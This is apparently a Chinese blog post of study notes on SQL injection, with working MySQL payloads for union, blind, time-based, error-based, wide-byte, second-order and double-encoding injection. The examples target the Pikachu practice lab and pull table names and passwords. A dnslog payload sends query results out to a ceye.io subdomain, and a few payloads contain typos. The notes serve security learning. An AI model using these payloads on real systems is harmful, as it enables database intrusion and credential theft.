SQL注入漏洞

1、 按提交方式分类

1.1 get注入

1.2 post注入

1.3 cookie注入

1.4 http头部注入

2、 按注入点类型分类

2.1 字符型

2.2 数字型

2.3 搜索型

3、 按注入攻击技术分类

3.1 union联合注入

先加 order by 进行排序,通过报错内容确定到底有几个字段可供使用

#采用二分法找到最大的可排序列,即是可查询的字段个数
a' order by 4 #% 
#1 先通过union找出数据库的名称
a' union select database(),user(),3 #%
#2 得到要爆破的数据库名pikachu后,获取相关表名
u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu' #%
#3 获取表名后,查询columns表获取字段名
k' union select table_name,column_name,3 from information_schema.columns where table_name='users' #%
#4 最后通过具体表获取相关数据
kobe 'union select username ,password,3 from users #%

3.2 布尔盲注

只返回布尔值的sql注入漏洞,通过构造语句,来判断数据库信息的正确性,再通过页面反回的布尔值,来判断正确与否

#substr()函数,截取某个字符串,与后面的字符串或数字对比
k' and substr((select database()),1,1)='s'
#left()函数,截取前几个字符与期望值对比
k' and left((database()),1)='s'
#regexp函数,用正则判断
k' and select user() regexp '^r'
#like函数
k' and select user() like 'ro%'
# 爆破库、表、字段长度
k' and select length(database())<xx
​
#有些sql漏洞中,会屏蔽引号,因此更多采用将截取出来的字符串转为ascii码,再对比ascii码值
#ascii和ord函数功能相同,大于、小于、等于配合二分法使用
k' and ascii(substr((select database()),1,1))=114
k' and ascii(substr((select database()),1,1))>114
k' and ascii(substr((select database()),1,1))<20

ord(substr((select database()),1,1))=114

3.3 时间盲注(sleep延时注入)

语句执行后,不回显,不报错,不提示真假的sql注入漏洞。可以通过构造语句,通过条件语句判断,为真则立即执行,否则延时执行

#确实是否有注入点,如果相应时间是自定义的睡眠时间,则大概率有注入点
k' and sleep(x) #
#然后通过之前的函数,猜测库、表、字段
k' and if(ascii(substr(database(),1,1))>115,0,sleep(5));

#也可以先通过sleep计算出库、表、字段长度
k' and sleep(length(database()))

3.4 dnslog盲注

dnslog盲注原理:

  1. 首先需要存在sql注入漏洞,但不回显,常规只能用布尔盲注和时间盲注猜单词
  2. 但是利用Mysql load_file()函数(唯windowns),可以用sql语句发起web请求
  3. 将我们盲注需要获取的信息,通过二级域名的方式,发起web请求
  4. 利用特定的dns解析网站,获取这些二级域名的记录,就能得到数据

前提要求

  1. windows系统
  2. 该用户具有file权限
  3. SHOW VARIABLES LIKE 'secure_file_priv'结果为NULL
select load_file(concat('\\\\',(select version()),'.xxxx.ceye.io\\abc'))

3.5 报错注入

报错注入条件:

  1. 后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端
  2. 运维人员设置中间件的时候,错误输出没有屏蔽
  3. 程序员写网站代码的时候,没有屏蔽错误信息输出

优缺点:

  1. 优点是注入速度快
  2. 缺点是语句较为复杂,而且只能用limit依次进行猜解

常用函数:

floor():MYSQL 中用来取整的函数

extractvalue():MYSQL 对 XML 文档数据进行查询的 XPATH 函数

updatexml():MYSQL 对 XML 文档数据进行查询和修改的 XPATH 函数【最常用的报错注入函数】

select count(*) from information_schema.tables group by concat((select version())),floor(rang(0)*2);
#concat 连接字符串功能
#floor  取float的整数值
#rang   取0-1之间随机浮点值
#group by   对结果集进行排序
select verson()就是我们用来做sql注入的语句
select extractvalue(1,concat(0x7e,(select user()),0x7e));
#extractvalue():接收2个参数,第一个xml文档,第二个xpath语句
#用concat构造一个错误的xpath字符串,使extractvalue函数报错,显示出构造的'错误'字符串
#1 爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
#2 爆数据库当前用户
k' and  updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) #
#3 爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
#4 爆表名
## 反馈回的错误表示只能显示一行,所以采用limit来一行一行显示
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0) #
#5 爆字段
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) #
#6 爆字段内容
k' and  updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) #

3.6 宽字节注入

数据库必须是GBK编码,gbk处理编码的过程存在问题,可以构造数据消灭转义符\

宽字节注入原理

在对单双引号进行了转义过滤的情况下,前面的注入方式都不好使,但可以在引号前加上%df再进行sql注入尝试
它的原理是:

  1. \'编码后的值为%5C%27
  2. 使用GBK编码数据库时,两个字符为一个汉字
  3. ASCII码只有128个,大于128的,就会和第二个字符组成一个汉字
  4. 使用%df\',编码后为%df%5C%27
    第一个码大于128,因此会使用前两个字符,最后单剩一个引号,即编码后的值为運'
  5. 然后就可以正常进行sql注入了

宽字节注入方法:

黑盒测试的话:在可能的注入点后,键入%df'后,进行测试
白合测试的话:

  1. 查看mysql编码是否为GBK
  2. 是否使用preg_replace转换单引号为\'
  3. 是否使用addslashes进行转义
  4. 是否使用mysql_real_escape_string进行转义

宽字节注入防范:

  1. 使用utf-8,可以避免宽字节注入
    不仅在gbk中,韩文、日文等都是宽字节
  2. 使用mysql_real_escape_string方法转义
    需同时设置mysql_set_charset('gbk',$conn)
  3. 可以设置mysql连接参数:character_set_clinet=binary

3.7 二次注入

二次注入原理:

  1. 插入恶意数据
    有些程序在进行数据库插入的时候,仅仅对特殊字符进行了转义,但仍然将数据写入了数据库,如果插入的数据包含恶意内容的话
  2. 引用恶意数据
    在插入到数据库中后,在另外的地方查询该数据的时候,如果没有对取出的数据做校验处理(即认为可信),直接使用该数据,就会造成sql二次注入

二次注入举例

举例1如下:

  1. 新建用户admin'#,有特殊字符,但写入成功,并能使用该用户登录
  2. 正常修改用户密码时
    sql语句如是:update user set password='1234' where username='x' and psssword='xx'
  3. 但当用户为admin'#
    sql语句变为:update user set password='1234' where username='admin'#' and xxxxx
    明显井号后的语句都被注释掉了
  4. 结果就是会修改掉原有用户admin的密码

举例2如下:

  1. 有两个页面,一个页面写入数据,另一个页面可以有办法查看该数据
  2. 如果写入时,写入了xx' union select 1,database(),3
  3. 如果存在sql注入漏洞,写入的数据应该为1,库名,3
  4. 在另一个页面就可以看到该库名数据

二次注入防御:

  1. 对外部提交的数,需要更加谨慎处理,特殊字符不写入
  2. 程序内部的数据调用,也要进行严格检查,不要认为可信

3.8 二次编码注入

php代码中用了urldecode()等编码函数,对url中的特殊字符进行编码,可以利用此函数与php自身编码转换,产生漏洞

二次编码注入原理:

  1. 用户输入id=1%27,会被php转码为id=1'
  2. 转义代码发现有单引号,转义为id=1\',无法sql注入
  3. 用户输入id=1%2527,由于%25转码后就是%,因而会转码为id=1%27
  4. 转义代码没有发现单引号,故不转义
  5. 但后续urldecode等函数,处理url时,会将id=1%27转码为id=1',就可以注入
    注意:如果做白盒测试,要看urldecode函数 是否在转义方法之后

3.9 堆叠注入

3.10 ascii逐字解码

3.11 偏移注入

4、 构造恶意sql语句的方法:

4.1 构造闭合

4.2 构造堆叠

4.3 构造报错

4.4 构造时间差

posted @ 2023-04-12 22:24  hello_bao  阅读(44)  评论(0编辑  收藏  举报